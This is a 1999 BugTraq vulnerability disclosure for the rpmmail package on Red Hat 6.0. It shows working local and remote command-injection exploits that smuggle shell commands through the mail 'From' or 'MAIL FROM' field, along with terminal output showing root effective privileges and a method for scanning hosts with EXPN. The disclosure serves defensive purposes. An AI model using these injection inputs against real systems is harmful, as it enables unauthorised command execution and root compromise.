To: BugTraq Subject: RH6.0 local/remote command execution Date: Mon Oct 04 1999 10:04:06 Author: Brock Tellier Message-ID: <19991005060406.4578.qmail@nwcst277.netaddress.usa.net> Greetings, A vulnerability exists in the rpmmail package distributed on the Red Hat 6.0 Extra Applications CD. The potential compromise for this bug could be remote or local root or simply remote command execution as "nobody" or similar, depending on your system configuration. By sending a carefully crafted mail message to rpmmail@vulnerablehost, you can get /home/rpmmail/rpmmail (suid root by default, exec'd by .forward remotely) to system(3) any command you wish. The command executed does not necessarily have root privs because of bash's handling of euid != uid of caller. Although system(3) calls /bin/sh -c, it is linked by default (can anyone verify these?) on some Linux systems, such as SuSE 6.2, to /bin/bash v2. From the system(3) man page: system() will not, in fact, work properly from programs with suid or sgid privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup. (Debian uses a modified bash which does not do this when invoked as sh.) Thus some systems with rpmmail installed are vulnerable to local/remote root, all others to remote command execution as an unpriv'd user. The local exploit as follows: /bin/sh is linked to /bin/bash (default SuSE 6.2 behavior: bash-2.03$ ls -la /bin/sh lrwxrwxrwx 1 root root 9 Oct 5 11:27 /bin/sh -> /bin/bash bash-2.03$ cat /etc/SuSE-release;uname -a;id SuSE Linux 6.2 (i386) VERSION = 6.2 Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown uid=100(xnec) gid=100(users) groups=100(users) bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah Could not open config file! sh: Y: command not found uid=100(xnec) gid=100(users) groups=100(users) Could not open acknowledge file! bash-2.03$ ---- After linking /bin/sh to /bin/ksh instead: bash-2.03$ ls -la /bin/sh lrwxrwxrwx 1 root root 8 Oct 5 11:09 /bin/sh -> /bin/ksh bash-2.03$ cat /etc/SuSE-release;uname -a;id SuSE Linux 6.2 (i386) VERSION = 6.2 Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown uid=100(xnec) gid=100(users) groups=100(users) bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah Could not open config file! sh: Y: not found uid=100(xnec) gid=100(users) euid=0(root) egid=0(root) groups=100(users) Could not open acknowledge file! bash-2.03$ The remote exploit is merely: bash-2.03$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:31:13 -0500 (CDT) MAIL FROM: ;/command/to/execute; 250 <;/command/to/execute;> ... Sender Okay RCPT TO: rpmmail 250 ... Recipient Okay data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit A remote scan of vulnerable hosts for this problem would be simple as well, since EXPN can be used to verify the existence of the .forward file: 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:38:44 -0500 (CDT) EXPN rpmmail 250 "| /home/rpmmail/rpmmail -c /home/rpmmail/rpmmail.conf" Brock Tellier UNIX Systems Administrator ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1